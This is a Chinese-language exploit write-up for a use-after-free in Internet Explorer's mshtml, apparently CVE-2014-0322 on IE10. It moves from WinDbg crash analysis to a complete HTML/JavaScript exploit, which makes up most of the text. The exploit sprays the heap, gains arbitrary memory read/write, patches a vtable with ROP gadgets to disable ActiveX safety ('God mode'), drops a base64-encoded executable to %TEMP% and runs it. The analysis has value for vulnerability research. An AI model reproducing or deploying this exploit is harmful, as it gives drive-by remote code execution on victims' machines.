1. 漏洞分析
由于这是关于堆的漏洞,为了方便分析先用gflags
开启iexplore.exe
的HPA
和UST
,然后用WinDbg附加IE进程后访问POC页面
<html>
<head>
</head>
<body>
<script>
function handler() {
this.outerHTML = this.outerHTML;
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
trigger();
</script>
</body>
</html>
访问后造成Crash
查看下esi
指向的堆
可以看到esi
指向了释放后的堆,并从堆的栈回溯可以知道是this.outerHTML = this.outerHTML
释放了堆,再查看下栈回溯
到这就清楚了造成漏洞的原因,先是this.outerHTML = this.outerHTML
释放了堆,之后调用appendChild
时又使用了之前释放的堆,非常典型的UAF。
2. 漏洞利用
查看下发生错误的位置
错误发生在mshtml+0x22100c
的位置,首先尝试下马上对释放后的堆进行占位,关闭HPA和UST,然后下断点bp mshtml + 0x22100c
访问页面
<html>
<head>
</head>
<body>
<script>
function handler() {
this.outerHTML = this.outerHTML;
elem = document.createElement("div");
elem.className = new Array(416).join("a"); // (0x1000 - (@esi & 0xfff))/2 - 1
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
trigger();
</script>
</body>
</html>
可以看到成功进行了占位
之后用IDA来分析下mshtml.dll
接下来看下UpdateMarkupContentsVersion
中的逻辑
总结下内存布局
Object size = 0x340 = 832
offset: value
94h: 0c0af010h
(X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
0ach: 0c0af00bh
(X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
1a4h: 11111h
(X = [obj_addr+1a4h] = 11111h < 15f90h)
3. EXP
<html>
<head>
<script language="javascript">
function getFiller(n) {
return new Array(n+1).join("a");
}
function getDwordStr(val) {
return String.fromCharCode(val % 0x10000, val / 0x10000);
}
function handler() {
this.outerHTML = this.outerHTML;
// Object size = 0x340 = 832
// offset: value
// 94h: 0c0af010h
// (X = [obj_addr+94h] = 0c0af010h ==> Y = [X+0ch] = raw_buf_addr ==> [Y+1c0h] is 0)
// 0ach: 0c0af00bh
// (X = [obj_addr+0ach] = 0c0af00bh ==> inc dword ptr [X+10h] ==> inc dword ptr [0c0af01bh])
// 1a4h: 11111h
// (X = [obj_addr+1a4h] = 11111h < 15f90h)
elem = document.createElement("div");
elem.className = getFiller(0x94/2) + getDwordStr(0xc0af010) +
getFiller((0xac - (0x94 + 4))/2) + getDwordStr(0xc0af00b) +
getFiller((0x1a4 - (0xac + 4))/2) + getDwordStr(0x11111) +
getFiller((0x340 - (0x1a4 + 4))/2 - 1); // -1 for string-terminating null wchar
}
function trigger() {
var a = document.getElementsByTagName("script")[0];
a.onpropertychange = handler;
var b = document.createElement("div");
b = a.appendChild(b);
}
(function() {
// alert("Starting!");
CollectGarbage();
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte ArrayBuffer (buf2)
// 8-byte header | 0x58-byte ArrayBuffer (buf3)
// 8-byte header | 0x58-byte ArrayBuffer (buf4)
// 8-byte header | 0x58-byte ArrayBuffer (buf5)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x300; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x100) {
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
buf2 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf3 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf4 = new ArrayBuffer(0x58); // must be exactly 0x58!
buf5 = new ArrayBuffer(0x58); // must be exactly 0x58!
}
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x300 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
// We increment the highest byte of array_len 20 times (which is equivalent to writing 0x20).
for (var k = 0; k < 0x20; ++k)
trigger();
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x300; i < 0x300 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
// alert("Can't find int32array!");
window.location.reload();
return;
}
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// ... we added four more raw buffers ...
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60*5/4],
vftptr2 = int32array[0x60*6/4],
vftptr3 = int32array[0x60*7/4],
nextPtr1 = int32array[(0x60*5+0x24)/4],
nextPtr2 = int32array[(0x60*6+0x24)/4],
nextPtr3 = int32array[(0x60*7+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
// alert("Error 1!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*6;
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
// alert("Error 2!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
//---------
// God mode
//---------
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
// Now we need to determine the base address of MSHTML. We can create an HTML
// object and write its reference to the address 0x0c0af000-4 which corresponds
// to the last element of one of our arrays.
// Let's find the array at 0x0c0af000-4.
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
// alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4, obj);
}
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
// vftable
// +-----> +------------------+
// | | |
// | | |
// | 0x10:| jscript9+0x10705e| --> "XCHG EAX,ESP | ADD EAX,71F84DC0 |
// | | | MOV EAX,ESI | POP ESI | RETN"
// | 0x14:| jscript9+0xdc164 | --> "LEAVE | RET 4"
// | +------------------+
// object |
// EAX ---> +-------------------+ |
// | vftptr |-----+
// | jscript9+0x15f800 | --> "XOR EAX,EAX | RETN"
// | jscript9+0xf3baf | --> "XCHG EAX,EDI | RETN"
// | jscript9+0xdc361 | --> "LEAVE | RET 4"
// +-------------------+
var old = read(mshtml+0xc555e0+0x14);
write(mshtml+0xc555e0+0x14, jscript9+0xdc164); // God Mode On!
var shell = new ActiveXObject("WScript.shell");
write(mshtml+0xc555e0+0x14, old); // God Mode Off!
addr = get_addr(ActiveXObject);
var pp_obj = read(read(addr + 0x28) + 4) + 0x1f0; // ptr to ptr to object
var old_objptr = read(pp_obj);
var old_vftptr = read(old_objptr);
// Create the new vftable.
var new_vftable = new Int32Array(0x708/4);
for (var i = 0; i < new_vftable.length; ++i)
new_vftable[i] = read(old_vftptr + i*4);
new_vftable[0x10/4] = jscript9+0x10705e;
new_vftable[0x14/4] = jscript9+0xdc164;
var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable
// Create the new object.
var new_object = new Int32Array(4);
new_object[0] = new_vftptr;
new_object[1] = jscript9 + 0x15f800;
new_object[2] = jscript9 + 0xf3baf;
new_object[3] = jscript9 + 0xdc361;
var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object
function GodModeOn() {
write(pp_obj, new_objptr);
}
function GodModeOff() {
write(pp_obj, old_objptr);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
function decode(b64Data) {
var data = window.atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
// alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
这个EXP主要是通过关闭ActiveXObject
的警告框(上帝模式)使用WScript.shell
和ADODB.Stream
来实现
完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie10-cve-2014-0322-exp.html